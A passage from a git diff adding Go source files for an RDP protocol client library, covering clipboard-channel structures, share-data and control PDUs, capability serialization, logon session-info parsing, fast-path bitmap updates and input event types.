CliprdrMonitorReady + capabilities CliprdrCapabilitiesPDU + ) + + generalFlags = 0 + monitorReady.MsgType = CB_MONITOR_READY + capabilities.MsgType = CB_CLIP_CAPS + + if context.useLongFormatNames { + generalFlags |= CB_USE_LONG_FORMAT_NAMES + } + + if context.streamFileClipEnabled { + generalFlags |= CB_STREAM_FILECLIP_ENABLED + } + + if context.fileClipNoFilePaths { + generalFlags |= CB_FILECLIP_NO_FILE_PATHS + } + + if context.canLockClipData { + generalFlags |= CB_CAN_LOCK_CLIPDATA + } + + if context.hasHugeFileSupport { + generalFlags |= CB_HUGE_FILE_SUPPORT_ENABLED + } + + capabilities.MsgType = CB_CLIP_CAPS + capabilities.MsgFlags = 0 + capabilities.DataLen = 4 + CB_CAPSTYPE_GENERAL_LEN + capabilities.CCapabilitiesSets = 1 + + generalCapabilitySet.CapabilitySetType = 0x0001 + generalCapabilitySet.CapabilitySetLength = CB_CAPSTYPE_GENERAL_LEN + generalCapabilitySet.Version = CB_CAPS_VERSION_2 + generalCapabilitySet.GeneralFlags = generalFlags + capabilities.CapabilitySets = generalCapabilitySet + + /* if ((err= context->ServerCapabilities(context, &capabilities))){ + //glog.Error(TAG, "ServerCapabilities failed with error %" PRIu32 "!", err); + return err + } + + if ((err = context->MonitorReady(context, &monitorReady))){ + //glog.Error("MonitorReady failed with error %" PRIu32 "!", err); + return err + }*/ + + //return err +} + +// temp dir +type CliprdrTempDirectory struct { + Header *CliprdrPDUHeader + SzTempDir string +} + +// format list +type CliprdrFormat struct { + FormatId uint32 + FormatName string +} +type CliprdrFormatList struct { + Header *CliprdrPDUHeader + NumFormats uint32 + Formats []CliprdrFormat +} +type ClipboardFormats uint16 + +const ( + CB_FORMAT_HTML = 0xD010 + CB_FORMAT_PNG = 0xD011 + CB_FORMAT_JPEG = 0xD012 + CB_FORMAT_GIF = 0xD013 + CB_FORMAT_TEXTURILIST = 0xD014 + CB_FORMAT_GNOMECOPIEDFILES = 0xD015 + CB_FORMAT_MATECOPIEDFILES = 0xD016 +) + +// lock or unlock +type CliprdrCtrlClipboardData struct { + Header *CliprdrPDUHeader + ClipDataId uint32 +} + +// format data +type CliprdrFormatDataRequest struct { + Header *CliprdrPDUHeader + RequestedFormatId uint32 +} +type CliprdrFormatDataResponse struct { + Header *CliprdrPDUHeader + RequestedFormatData []byte +} + +// file contents +type CliprdrFileContentsRequest struct { + Header *CliprdrPDUHeader + StreamId uint32 + Lindex int32 + DwFlags uint32 + NPositionLow uint32 + NPositionHigh uint32 + CbRequested uint32 + ClipDataId uint32 +} + +func NewCliprdrFileContentsRequest() *CliprdrFileContentsRequest { + return &CliprdrFileContentsRequest{ + Header: NewCliprdrPDUHeader(CB_FILECONTENTS_REQUEST, 0, 0), + } +} + +type CliprdrFileContentsResponse struct { + Header *CliprdrPDUHeader + StreamId uint32 + CbRequested uint32 + RequestedData []byte +} diff --git a/pkg/grdp/protocol/pdu/data.go b/pkg/grdp/protocol/pdu/data.go new file mode 100644 index 0000000..a82b5c5 --- /dev/null +++ b/pkg/grdp/protocol/pdu/data.go @@ -0,0 +1,824 @@ +package pdu + +import ( + "bytes" + "errors" + "fmt" + "io" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/glog" + "github.com/lunixbochs/struc" +) + +const ( + PDUTYPE_DEMANDACTIVEPDU = 0x11 + PDUTYPE_CONFIRMACTIVEPDU = 0x13 + PDUTYPE_DEACTIVATEALLPDU = 0x16 + PDUTYPE_DATAPDU = 0x17 + PDUTYPE_SERVER_REDIR_PKT = 0x1A +) + +const ( + PDUTYPE2_UPDATE = 0x02 + PDUTYPE2_CONTROL = 0x14 + PDUTYPE2_POINTER = 0x1B + PDUTYPE2_INPUT = 0x1C + PDUTYPE2_SYNCHRONIZE = 0x1F + PDUTYPE2_REFRESH_RECT = 0x21 + PDUTYPE2_PLAY_SOUND = 0x22 + PDUTYPE2_SUPPRESS_OUTPUT = 0x23 + PDUTYPE2_SHUTDOWN_REQUEST = 0x24 + PDUTYPE2_SHUTDOWN_DENIED = 0x25 + PDUTYPE2_SAVE_SESSION_INFO = 0x26 + PDUTYPE2_FONTLIST = 0x27 + PDUTYPE2_FONTMAP = 0x28 + PDUTYPE2_SET_KEYBOARD_INDICATORS = 0x29 + PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST = 0x2B + PDUTYPE2_BITMAPCACHE_ERROR_PDU = 0x2C + PDUTYPE2_SET_KEYBOARD_IME_STATUS = 0x2D + PDUTYPE2_OFFSCRCACHE_ERROR_PDU = 0x2E + PDUTYPE2_SET_ERROR_INFO_PDU = 0x2F + PDUTYPE2_DRAWNINEGRID_ERROR_PDU = 0x30 + PDUTYPE2_DRAWGDIPLUS_ERROR_PDU = 0x31 + PDUTYPE2_ARC_STATUS_PDU = 0x32 + PDUTYPE2_STATUS_INFO_PDU = 0x36 + PDUTYPE2_MONITOR_LAYOUT_PDU = 0x37 +) + +const ( + CTRLACTION_REQUEST_CONTROL = 0x0001 + CTRLACTION_GRANTED_CONTROL = 0x0002 + CTRLACTION_DETACH = 0x0003 + CTRLACTION_COOPERATE = 0x0004 +) + +const ( + STREAM_UNDEFINED = 0x00 + STREAM_LOW = 0x01 + STREAM_MED = 0x02 + STREAM_HI = 0x04 +) + +const ( + FASTPATH_UPDATETYPE_ORDERS = 0x0 + FASTPATH_UPDATETYPE_BITMAP = 0x1 + FASTPATH_UPDATETYPE_PALETTE = 0x2 + FASTPATH_UPDATETYPE_SYNCHRONIZE = 0x3 + FASTPATH_UPDATETYPE_SURFCMDS = 0x4 + FASTPATH_UPDATETYPE_PTR_NULL = 0x5 + FASTPATH_UPDATETYPE_PTR_DEFAULT = 0x6 + FASTPATH_UPDATETYPE_PTR_POSITION = 0x8 + FASTPATH_UPDATETYPE_COLOR = 0x9 + FASTPATH_UPDATETYPE_CACHED = 0xA + FASTPATH_UPDATETYPE_POINTER = 0xB +) + +const ( + BITMAP_COMPRESSION = 0x0001 + //NO_BITMAP_COMPRESSION_HDR = 0x0400 +) + +type ShareDataHeader struct { + SharedId uint32 `struc:"little"` + Padding1 uint8 `struc:"little"` + StreamId uint8 `struc:"little"` + UncompressedLength uint16 `struc:"little"` + PDUType2 uint8 `struc:"little"` + CompressedType uint8 `struc:"little"` + CompressedLength uint16 `struc:"little"` +} + +func NewShareDataHeader(size int, type2 uint8, shareId uint32) *ShareDataHeader { + return &ShareDataHeader{ + SharedId: shareId, + PDUType2: type2, + StreamId: STREAM_LOW, + UncompressedLength: uint16(size + 4), + } +} + +type PDUMessage interface { + Type() uint16 + Serialize() []byte +} + +type DemandActivePDU struct { + SharedId uint32 `struc:"little"` + LengthSourceDescriptor uint16 `struc:"little,sizeof=SourceDescriptor"` + LengthCombinedCapabilities uint16 `struc:"little"` + SourceDescriptor []byte `struc:"sizefrom=LengthSourceDescriptor"` + NumberCapabilities uint16 `struc:"little,sizeof=CapabilitySets"` + Pad2Octets uint16 `struc:"little"` + CapabilitySets []Capability `struc:"sizefrom=NumberCapabilities"` + SessionId uint32 `struc:"little"` +} + +func (d *DemandActivePDU) Type() uint16 { + return PDUTYPE_DEMANDACTIVEPDU +} + +func (d *DemandActivePDU) Serialize() []byte { + buff := &bytes.Buffer{} + core.WriteUInt32LE(d.SharedId, buff) + core.WriteUInt16LE(d.LengthSourceDescriptor, buff) + core.WriteUInt16LE(d.LengthCombinedCapabilities, buff) + core.WriteBytes([]byte(d.SourceDescriptor), buff) + core.WriteUInt16LE(uint16(len(d.CapabilitySets)), buff) + core.WriteUInt16LE(d.Pad2Octets, buff) + for _, cap := range d.CapabilitySets { + core.WriteUInt16LE(uint16(cap.Type()), buff) + capBuff := &bytes.Buffer{} + struc.Pack(capBuff, cap) + capBytes := capBuff.Bytes() + core.WriteUInt16LE(uint16(len(capBytes)+4), buff) + core.WriteBytes(capBytes, buff) + } + core.WriteUInt32LE(d.SessionId, buff) + return buff.Bytes() +} + +func readDemandActivePDU(r io.Reader) (*DemandActivePDU, error) { + d := &DemandActivePDU{} + var err error + d.SharedId, err = core.ReadUInt32LE(r) + if err != nil { + return nil, err + } + d.LengthSourceDescriptor, err = core.ReadUint16LE(r) + d.LengthCombinedCapabilities, err = core.ReadUint16LE(r) + sourceDescriptorBytes, err := core.ReadBytes(int(d.LengthSourceDescriptor), r) + if err != nil { + return nil, err + } + d.SourceDescriptor = sourceDescriptorBytes + d.NumberCapabilities, err = core.ReadUint16LE(r) + d.Pad2Octets, err = core.ReadUint16LE(r) + d.CapabilitySets = make([]Capability, 0) + glog.Debug("NumberCapabilities is", d.NumberCapabilities) + for i := 0; i < int(d.NumberCapabilities); i++ { + c, err := readCapability(r) + if err != nil { + //return nil, err + continue + } + d.CapabilitySets = append(d.CapabilitySets, c) + } + d.NumberCapabilities = uint16(len(d.CapabilitySets)) + d.SessionId, err = core.ReadUInt32LE(r) + //glog.Info("SessionId:", d.SessionId) + if err != nil { + return nil, err + } + return d, nil +} + +type ConfirmActivePDU struct { + SharedId uint32 `struc:"little"` + OriginatorId uint16 `struc:"little"` + LengthSourceDescriptor uint16 `struc:"little,sizeof=SourceDescriptor"` + LengthCombinedCapabilities uint16 `struc:"little"` + SourceDescriptor []byte `struc:"sizefrom=LengthSourceDescriptor"` + NumberCapabilities uint16 `struc:"little,sizeof=CapabilitySets"` + Pad2Octets uint16 `struc:"little"` + CapabilitySets []Capability `struc:"sizefrom=NumberCapabilities"` +} + +func (*ConfirmActivePDU) Type() uint16 { + return PDUTYPE_CONFIRMACTIVEPDU +} + +func (c *ConfirmActivePDU) Serialize() []byte { + buff := &bytes.Buffer{} + core.WriteUInt32LE(c.SharedId, buff) + core.WriteUInt16LE(c.OriginatorId, buff) + core.WriteUInt16LE(uint16(len(c.SourceDescriptor)), buff) + + capsBuff := &bytes.Buffer{} + for _, capa := range c.CapabilitySets { + core.WriteUInt16LE(uint16(capa.Type()), capsBuff) + capBuff := &bytes.Buffer{} + struc.Pack(capBuff, capa) + if capa.Type() == CAPSTYPE_INPUT { + core.WriteBytes([]byte{0x0c, 0x00, 0x00, 0x00}, capBuff) + } + capBytes := capBuff.Bytes() + core.WriteUInt16LE(uint16(len(capBytes)+4), capsBuff) + core.WriteBytes(capBytes, capsBuff) + } + capsBytes := capsBuff.Bytes() + + core.WriteUInt16LE(uint16(2+2+len(capsBytes)), buff) + core.WriteBytes([]byte(c.SourceDescriptor), buff) + core.WriteUInt16LE(uint16(len(c.CapabilitySets)), buff) + core.WriteUInt16LE(c.Pad2Octets, buff) + core.WriteBytes(capsBytes, buff) + return buff.Bytes() +} + +// 9401 => share control header +// 1300 => share control header +// ec03 => share control header +// ea030100 => shareId 66538 +// ea03 => OriginatorId +// 0400 +// 8001 => LengthCombinedCapabilities +// 72647079 +// 0c00 => NumberCapabilities 12 +// 0000 +// caps below +// 010018000100030000020000000015040000000000000000 +// 02001c00180001000100010000052003000000000100000001000000 +// 030058000000000000000000000000000000000000000000010014000000010000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000008403000000000000000000 +// 04002800000000000000000000000000000000000000000000000000000000000000000000000000 +// 0800080000001400 +// 0c00080000000000 +// 0d005c001500000009040000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000000 +// 0f00080000000000 +// 10003400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +// 11000c000000000000000000 +// 14000c000000000000000000 +// 1a00080000000000 + +func NewConfirmActivePDU() *ConfirmActivePDU { + return &ConfirmActivePDU{ + OriginatorId: 0x03EA, + CapabilitySets: make([]Capability, 0), + SourceDescriptor: []byte("rdpy"), + } +} + +func readConfirmActivePDU(r io.Reader) (*ConfirmActivePDU, error) { + p := &ConfirmActivePDU{} + var err error + p.SharedId, err = core.ReadUInt32LE(r) + if err != nil { + return nil, err + } + p.OriginatorId, err = core.ReadUint16LE(r) + p.LengthSourceDescriptor, err = core.ReadUint16LE(r) + p.LengthCombinedCapabilities, err = core.ReadUint16LE(r) + + sourceDescriptorBytes, err := core.ReadBytes(int(p.LengthSourceDescriptor), r) + if err != nil { + return nil, err + } + p.SourceDescriptor = sourceDescriptorBytes + p.NumberCapabilities, err = core.ReadUint16LE(r) + p.Pad2Octets, err = core.ReadUint16LE(r) + + p.CapabilitySets = make([]Capability, 0) + for i := 0; i < int(p.NumberCapabilities); i++ { + c, err := readCapability(r) + if err != nil { + return nil, err + } + p.CapabilitySets = append(p.CapabilitySets, c) + } + s, _ := core.ReadUInt32LE(r) + glog.Info("sessionid:", s) + return p, nil +} + +type DeactiveAllPDU struct { + ShareId uint32 `struc:"little"` + LengthSourceDescriptor uint16 `struc:"little,sizeof=SourceDescriptor"` + SourceDescriptor []byte +} + +func (*DeactiveAllPDU) Type() uint16 { + return PDUTYPE_DEACTIVATEALLPDU +} + +func (d *DeactiveAllPDU) Serialize() []byte { + buff := &bytes.Buffer{} + struc.Pack(buff, d) + return buff.Bytes() +} + +func readDeactiveAllPDU(r io.Reader) (*DeactiveAllPDU, error) { + p := &DeactiveAllPDU{} + err := struc.Unpack(r, p) + return p, err +} + +type DataPDU struct { + Header *ShareDataHeader + Data DataPDUData +} + +func (*DataPDU) Type() uint16 { + return PDUTYPE_DATAPDU +} + +func (d *DataPDU) Serialize() []byte { + buff := &bytes.Buffer{} + struc.Pack(buff, d.Header) + struc.Pack(buff, d.Data) + return buff.Bytes() +} + +func NewDataPDU(data DataPDUData, shareId uint32) *DataPDU { + dataBuff := &bytes.Buffer{} + struc.Pack(dataBuff, data) + return &DataPDU{ + Header: NewShareDataHeader(len(dataBuff.Bytes()), data.Type2(), shareId), + Data: data, + } +} + +func readDataPDU(r io.Reader) (*DataPDU, error) { + header := &ShareDataHeader{} + err := struc.Unpack(r, header) + if err != nil { + glog.Error("read data pdu header error", err) + return nil, err + } + var d DataPDUData + glog.Debugf("header=%02x", header.PDUType2) + switch header.PDUType2 { + case PDUTYPE2_SYNCHRONIZE: + d = &SynchronizeDataPDU{} + case PDUTYPE2_CONTROL: + d = &ControlDataPDU{} + case PDUTYPE2_FONTLIST: + d = &FontListDataPDU{} + case PDUTYPE2_SET_ERROR_INFO_PDU: + d = &ErrorInfoDataPDU{} + case PDUTYPE2_FONTMAP: + d = &FontMapDataPDU{} + case PDUTYPE2_SAVE_SESSION_INFO: + s := &SaveSessionInfo{} + s.Unpack(r) + d = s + default: + err = errors.New(fmt.Sprintf("Unknown data pdu type2 0x%02x", header.PDUType2)) + glog.Error(err) + return nil, err + } + + if header.PDUType2 != PDUTYPE2_SAVE_SESSION_INFO { + err = struc.Unpack(r, d) + if err != nil { + glog.Error("read data pdu error", err) + return nil, err + } + } + + glog.Debugf("d=%+v", d) + p := &DataPDU{ + Header: header, + Data: d, + } + return p, nil +} + +type DataPDUData interface { + Type2() uint8 +} + +type SynchronizeDataPDU struct { + MessageType uint16 `struc:"little"` + TargetUser uint16 `struc:"little"` +} + +func (*SynchronizeDataPDU) Type2() uint8 { + return PDUTYPE2_SYNCHRONIZE +} + +func NewSynchronizeDataPDU(targetUser uint16) *SynchronizeDataPDU { + return &SynchronizeDataPDU{ + MessageType: 1, + TargetUser: targetUser, + } +} + +type ControlDataPDU struct { + Action uint16 `struc:"little"` + GrantId uint16 `struc:"little"` + ControlId uint32 `struc:"little"` +} + +func (*ControlDataPDU) Type2() uint8 { + return PDUTYPE2_CONTROL +} + +type FontListDataPDU struct { + NumberFonts uint16 `struc:"little"` + TotalNumFonts uint16 `struc:"little"` + ListFlags uint16 `struc:"little"` + EntrySize uint16 `struc:"little"` +} + +func (*FontListDataPDU) Type2() uint8 { + return PDUTYPE2_FONTLIST +} + +type ErrorInfoDataPDU struct { + ErrorInfo uint32 `struc:"little"` +} + +func (*ErrorInfoDataPDU) Type2() uint8 { + return PDUTYPE2_SET_ERROR_INFO_PDU +} + +type FontMapDataPDU struct { + NumberEntries uint16 `struc:"little"` + TotalNumEntries uint16 `struc:"little"` + MapFlags uint16 `struc:"little"` + EntrySize uint16 `struc:"little"` +} + +func (*FontMapDataPDU) Type2() uint8 { + return PDUTYPE2_FONTMAP +} + +type InfoType uint32 + +const ( + INFOTYPE_LOGON = 0x00000000 + INFOTYPE_LOGON_LONG = 0x00000001 + INFOTYPE_LOGON_PLAINNOTIFY = 0x00000002 + INFOTYPE_LOGON_EXTENDED_INFO = 0x00000003 +) +const ( + LOGON_EX_AUTORECONNECTCOOKIE = 0x00000001 + LOGON_EX_LOGONERRORS = 0x00000002 +) + +type LogonFields struct { + CbFileData uint32 `struc:"little"` + Len uint32 //28 `struc:"little"` + Version uint32 // 1 `struc:"little"` + LogonId uint32 `struc:"little"` + random [16]byte //16 `struc:"little"` +} +type SaveSessionInfo struct { + InfoType uint32 + Length uint16 + FieldsPresent uint32 + LogonId uint32 + Random []byte +} + +func (s *SaveSessionInfo) logonInfoV1(r io.Reader) (err error) { + core.ReadUInt32LE(r) // cbDomain + b, _ := core.ReadBytes(52, r) + domain := core.UnicodeDecode(b) + + core.ReadUInt32LE(r) // cbUserName + b, _ = core.ReadBytes(512, r) + userName := core.UnicodeDecode(b) + + sessionId, _ := core.ReadUInt32LE(r) + s.LogonId = sessionId + glog.Infof("SessionId:[%d] UserName:[%s] Domain:[%s]", s.LogonId, userName, domain) + return err +} +func (s *SaveSessionInfo) logonInfoV2(r io.Reader) (err error) { + core.ReadUint16LE(r) + core.ReadUInt32LE(r) + sessionId, _ := core.ReadUInt32LE(r) + s.LogonId = sessionId + cbDomain, _ := core.ReadUInt32LE(r) + cbUserName, _ := core.ReadUInt32LE(r) + core.ReadBytes(558, r) + + b, _ := core.ReadBytes(int(cbDomain), r) + domain := core.UnicodeDecode(b) + b, _ = core.ReadBytes(int(cbUserName), r) + userName := core.UnicodeDecode(b) + glog.Infof("SessionId:[%d] UserName:[%s] Domain:[%s]", s.LogonId, userName, domain) + + return err +} +func (s *SaveSessionInfo) logonPlainNotify(r io.Reader) (err error) { + core.ReadBytes(576, r) /* pad (576 bytes) */ + return err +} +func (s *SaveSessionInfo) logonInfoExtended(r io.Reader) (err error) { + s.Length, err = core.ReadUint16LE(r) + s.FieldsPresent, err = core.ReadUInt32LE(r) + glog.Info("FieldsPresent:", s.FieldsPresent) + // auto reconnect cookie + if s.FieldsPresent&LOGON_EX_AUTORECONNECTCOOKIE != 0 { + core.ReadUInt32LE(r) + b, _ := core.ReadUInt32LE(r) + if b != 28 { + return errors.New(fmt.Sprintf("invalid length in Auto-Reconnect packet")) + } + b, _ = core.ReadUInt32LE(r) + if b != 1 { + return errors.New(fmt.Sprintf("unsupported version of Auto-Reconnect packet")) + } + b, _ = core.ReadUInt32LE(r) + s.LogonId = b + s.Random, _ = core.ReadBytes(16, r) + } else { // logon error info + core.ReadUInt32LE(r) + b, _ := core.ReadUInt32LE(r) + b, _ = core.ReadUInt32LE(r) + s.LogonId = b + } + core.ReadBytes(570, r) + return err +} +func (s *SaveSessionInfo) Unpack(r io.Reader) (err error) { + s.InfoType, err = core.ReadUInt32LE(r) + switch s.InfoType { + case INFOTYPE_LOGON: + err = s.logonInfoV1(r) + case INFOTYPE_LOGON_LONG: + err = s.logonInfoV2(r) + case INFOTYPE_LOGON_PLAINNOTIFY: + err = s.logonPlainNotify(r) + case INFOTYPE_LOGON_EXTENDED_INFO: + err = s.logonInfoExtended(r) + default: + glog.Error("Unhandled saveSessionInfo type 0x%", s.InfoType) + return fmt.Errorf("Unhandled saveSessionInfo type 0x%", s.InfoType) + } + + return err +} + +func (*SaveSessionInfo) Type2() uint8 { + return PDUTYPE2_SAVE_SESSION_INFO +} + +type PersistKeyPDU struct { + NumEntriesCache0 uint16 `struc:"little"` + NumEntriesCache1 uint16 `struc:"little"` + NumEntriesCache2 uint16 `struc:"little"` + NumEntriesCache3 uint16 `struc:"little"` + NumEntriesCache4 uint16 `struc:"little"` + TotalEntriesCache0 uint16 `struc:"little"` + TotalEntriesCache1 uint16 `struc:"little"` + TotalEntriesCache2 uint16 `struc:"little"` + TotalEntriesCache3 uint16 `struc:"little"` + TotalEntriesCache4 uint16 `struc:"little"` + BBitMask uint8 `struc:"little"` + Pad1 uint8 `struc:"little"` + Ppad3 uint16 `struc:"little"` +} + +func (*PersistKeyPDU) Type2() uint8 { + return PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST +} + +type UpdateData interface { + FastPathUpdateType() uint8 + Unpack(io.Reader) error +} + +type BitmapCompressedDataHeader struct { + CbCompFirstRowSize uint16 `struc:"little"` + CbCompMainBodySize uint16 `struc:"little"` + CbScanWidth uint16 `struc:"little"` + CbUncompressedSize uint16 `struc:"little"` +} + +type BitmapData struct { + DestLeft uint16 `struc:"little"` + DestTop uint16 `struc:"little"` + DestRight uint16 `struc:"little"` + DestBottom uint16 `struc:"little"` + Width uint16 `struc:"little"` + Height uint16 `struc:"little"` + BitsPerPixel uint16 `struc:"little"` + Flags uint16 `struc:"little"` + BitmapLength uint16 `struc:"little,sizeof=BitmapDataStream"` + BitmapComprHdr *BitmapCompressedDataHeader + BitmapDataStream []byte +} + +func (b *BitmapData) IsCompress() bool { + return b.Flags&BITMAP_COMPRESSION != 0 +} + +type FastPathBitmapUpdateDataPDU struct { + Header uint16 `struc:"little"` + NumberRectangles uint16 `struc:"little,sizeof=Rectangles"` + Rectangles []BitmapData +} + +func (f *FastPathBitmapUpdateDataPDU) Unpack(r io.Reader) error { + var err error + f.Header, err = core.ReadUint16LE(r) + f.NumberRectangles, err = core.ReadUint16LE(r) + f.Rectangles = make([]BitmapData, 0, f.NumberRectangles) + for i := 0; i < int(f.NumberRectangles); i++ { + rect := BitmapData{} + rect.DestLeft, err = core.ReadUint16LE(r) + rect.DestTop, err = core.ReadUint16LE(r) + rect.DestRight, err = core.ReadUint16LE(r) + rect.DestBottom, err = core.ReadUint16LE(r) + rect.Width, err = core.ReadUint16LE(r) + rect.Height, err = core.ReadUint16LE(r) + rect.BitsPerPixel, err = core.ReadUint16LE(r) + rect.Flags, err = core.ReadUint16LE(r) + rect.BitmapLength, err = core.ReadUint16LE(r) + ln := rect.BitmapLength + if rect.Flags&BITMAP_COMPRESSION != 0 && (rect.Flags&NO_BITMAP_COMPRESSION_HDR == 0) { + rect.BitmapComprHdr = new(BitmapCompressedDataHeader) + rect.BitmapComprHdr.CbCompFirstRowSize, err = core.ReadUint16LE(r) + rect.BitmapComprHdr.CbCompMainBodySize, err = core.ReadUint16LE(r) + rect.BitmapComprHdr.CbScanWidth, err = core.ReadUint16LE(r) + rect.BitmapComprHdr.CbUncompressedSize, err = core.ReadUint16LE(r) + ln = rect.BitmapComprHdr.CbCompMainBodySize + } + + rect.BitmapDataStream, err = core.ReadBytes(int(ln), r) + f.Rectangles = append(f.Rectangles, rect) + } + return err +} + +func (*FastPathBitmapUpdateDataPDU) FastPathUpdateType() uint8 { + return FASTPATH_UPDATETYPE_BITMAP +} + +type FastPathUpdatePDU struct { + UpdateHeader uint8 + CompressionFlags uint8 + Size uint16 + Data UpdateData +} + +const ( + FASTPATH_OUTPUT_COMPRESSION_USED = 0x2 +) + +func readFastPathUpdatePDU(r io.Reader) (*FastPathUpdatePDU, error) { + f := &FastPathUpdatePDU{} + var err error + f.UpdateHeader, err = core.ReadUInt8(r) + if err != nil { + return nil, err + } + if (f.UpdateHeader>>4)&FASTPATH_OUTPUT_COMPRESSION_USED != 0 { + f.CompressionFlags, err = core.ReadUInt8(r) + } + + f.Size, err = core.ReadUint16LE(r) + if err != nil { + return nil, err + } + if f.Size == 0 { + return f, nil + } + dataBytes, err := core.ReadBytes(int(f.Size), r) + if err != nil { + glog.Info(err) + return nil, err + } + + var d UpdateData + switch f.UpdateHeader & 0xf { + case FASTPATH_UPDATETYPE_BITMAP: + d = &FastPathBitmapUpdateDataPDU{} + + default: + glog.Debugf("Unknown Fast Path PDU type 0x%x", f.UpdateHeader) + return f, errors.New(fmt.Sprintf("Unknown Fast Path PDU type 0x%x", f.UpdateHeader)) + //d = nil + } + if d != nil { + err = d.Unpack(bytes.NewReader(dataBytes)) + if err != nil { + glog.Error("Unpack:", err) + return nil, err + } + } + + f.Data = d + return f, nil +} + +type ShareControlHeader struct { + TotalLength uint16 `struc:"little"` + PDUType uint16 `struc:"little"` + PDUSource uint16 `struc:"little"` +} + +type PDU struct { + ShareCtrlHeader *ShareControlHeader + Message PDUMessage +} + +func NewPDU(userId uint16, message PDUMessage) *PDU { + pdu := &PDU{} + pdu.ShareCtrlHeader = &ShareControlHeader{ + TotalLength: uint16(len(message.Serialize()) + 6), + PDUType: message.Type(), + PDUSource: userId, + } + pdu.Message = message + return pdu +} + +func readPDU(r io.Reader) (*PDU, error) { + pdu := &PDU{} + var err error + header := &ShareControlHeader{} + err = struc.Unpack(r, header) + if err != nil { + return nil, err + } + + pdu.ShareCtrlHeader = header + + var d PDUMessage + switch pdu.ShareCtrlHeader.PDUType { + case PDUTYPE_DEMANDACTIVEPDU: + glog.Debug("PDUTYPE_DEMANDACTIVEPDU") + d, err = readDemandActivePDU(r) + case PDUTYPE_DATAPDU: + glog.Debug("PDUTYPE_DATAPDU") + d, err = readDataPDU(r) + case PDUTYPE_CONFIRMACTIVEPDU: + glog.Debug("PDUTYPE_CONFIRMACTIVEPDU") + d, err = readConfirmActivePDU(r) + case PDUTYPE_DEACTIVATEALLPDU: + glog.Debug("PDUTYPE_DEACTIVATEALLPDU") + d, err = readDeactiveAllPDU(r) + default: + glog.Errorf("PDU invalid pdu type: 0x%02x", pdu.ShareCtrlHeader.PDUType) + } + if err != nil { + return nil, err + } + pdu.Message = d + return pdu, err +} + +func (p *PDU) serialize() []byte { + buff := &bytes.Buffer{} + struc.Pack(buff, p.ShareCtrlHeader) + core.WriteBytes(p.Message.Serialize(), buff) + return buff.Bytes() +} + +type SlowPathInputEvent struct { + EventTime uint32 `struc:"little"` + MessageType uint16 `struc:"little"` + Size int `struc:"skip"` + SlowPathInputData []byte `struc:"sizefrom=Size"` +} + +type PointerEvent struct { + PointerFlags uint16 `struc:"little"` + XPos uint16 `struc:"little"` + YPos uint16 `struc:"little"` +} + +func (p *PointerEvent) Serialize() []byte { + buff := &bytes.Buffer{} + struc.Pack(buff, p) + return buff.Bytes() +} + +type SynchronizeEvent struct { + Pad2Octets uint16 `struc:"little"` + ToggleFlags uint32 `struc:"little"` +} + +func (p *SynchronizeEvent) Serialize() []byte { + buff := &bytes.Buffer{} + struc.Pack(buff, p) + return buff.Bytes() +} + +type ScancodeKeyEvent struct { + KeyboardFlags uint16 `struc:"little"` + KeyCode uint16 `struc:"little"` + Pad2Octets uint16 `struc:"little"` +} + +func (p *ScancodeKeyEvent) Serialize() []byte { + buff := &bytes.Buffer{} + struc.Pack(buff, p) + return buff.Bytes() +} + +type UnicodeKeyEvent struct { + KeyboardFlags uint16 `struc:"little"` + Unicode uint16 `struc:"little"` + Pad2Octets uint16 `struc:"little"` +} + +func (p *UnicodeKeyEvent) Serialize() []byte { + buff := &bytes.Buffer{} + struc.Pack(buff, p) + return buff.Bytes() +} + +type ClientInputEventPDU struct { + NumEvents uint16 `struc:"little,sizeof=SlowPathInputEvents"` + Pad2Octets uint16 `struc:"little"` + SlowPathInputEvents []SlowPathInputEvent `struc:"little"` +} + +func (*ClientInputEventPDU) Type2() uint8 { + return PDUTYPE2_INPUT +} diff --git a/pkg/grdp/protocol/pdu/pdu.go b/pkg/grdp/protocol/pdu/pdu.go new file mode 100644 index 0000000..67df6bf --- /dev/null +++ b/pkg/grdp/protocol/pdu/pdu.go @@ -0,0 +1,370 @@ +package pdu + +import ( + "bytes" + "encoding/hex" + "errors" + "fmt" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/emission" + "Yasso/pkg/grdp/glog" + "Yasso/pkg/grdp/protocol/t125/gcc" +) + +type PDULayer struct { + emission.Emitter + transport core.Transport + sharedId uint32 + userId uint16 + channelId uint16 + serverCapabilities map[CapsType]Capability + clientCapabilities map[CapsType]Capability + fastPathSender core.FastPathSender + demandActivePDU *DemandActivePDU +} + +func NewPDULayer(t core.Transport) *PDULayer { + p := &PDULayer{ + Emitter: *emission.NewEmitter(), + transport: t, + sharedId: 0x103EA, + serverCapabilities: map[CapsType]Capability{ + CAPSTYPE_GENERAL: &GeneralCapability{ + ProtocolVersion: 0x0200, + }, + CAPSTYPE_BITMAP: &BitmapCapability{ + Receive1BitPerPixel: 0x0001, + Receive4BitsPerPixel: 0x0001, + Receive8BitsPerPixel: 0x0001, + BitmapCompressionFlag: 0x0001, + MultipleRectangleSupport: 0x0001, + }, + CAPSTYPE_ORDER: &OrderCapability{ + DesktopSaveXGranularity: 1, + DesktopSaveYGranularity: 20, + MaximumOrderLevel: 1, + OrderFlags: NEGOTIATEORDERSUPPORT, + DesktopSaveSize: 480 * 480, + }, + CAPSTYPE_POINTER: &PointerCapability{ColorPointerCacheSize: 20}, + CAPSTYPE_INPUT: &InputCapability{}, + CAPSTYPE_VIRTUALCHANNEL: &VirtualChannelCapability{}, + CAPSTYPE_FONT: &FontCapability{SupportFlags: 0x0001}, + CAPSTYPE_COLORCACHE: &ColorCacheCapability{CacheSize: 0x0006}, + CAPSTYPE_SHARE: &ShareCapability{}, + }, + clientCapabilities: map[CapsType]Capability{ + CAPSTYPE_GENERAL: &GeneralCapability{ + ProtocolVersion: 0x0200, + }, + CAPSTYPE_BITMAP: &BitmapCapability{ + Receive1BitPerPixel: 0x0001, + Receive4BitsPerPixel: 0x0001, + Receive8BitsPerPixel: 0x0001, + BitmapCompressionFlag: 0x0001, + MultipleRectangleSupport: 0x0001, + }, + CAPSTYPE_ORDER: &OrderCapability{ + DesktopSaveXGranularity: 1, + DesktopSaveYGranularity: 20, + MaximumOrderLevel: 1, + OrderFlags: 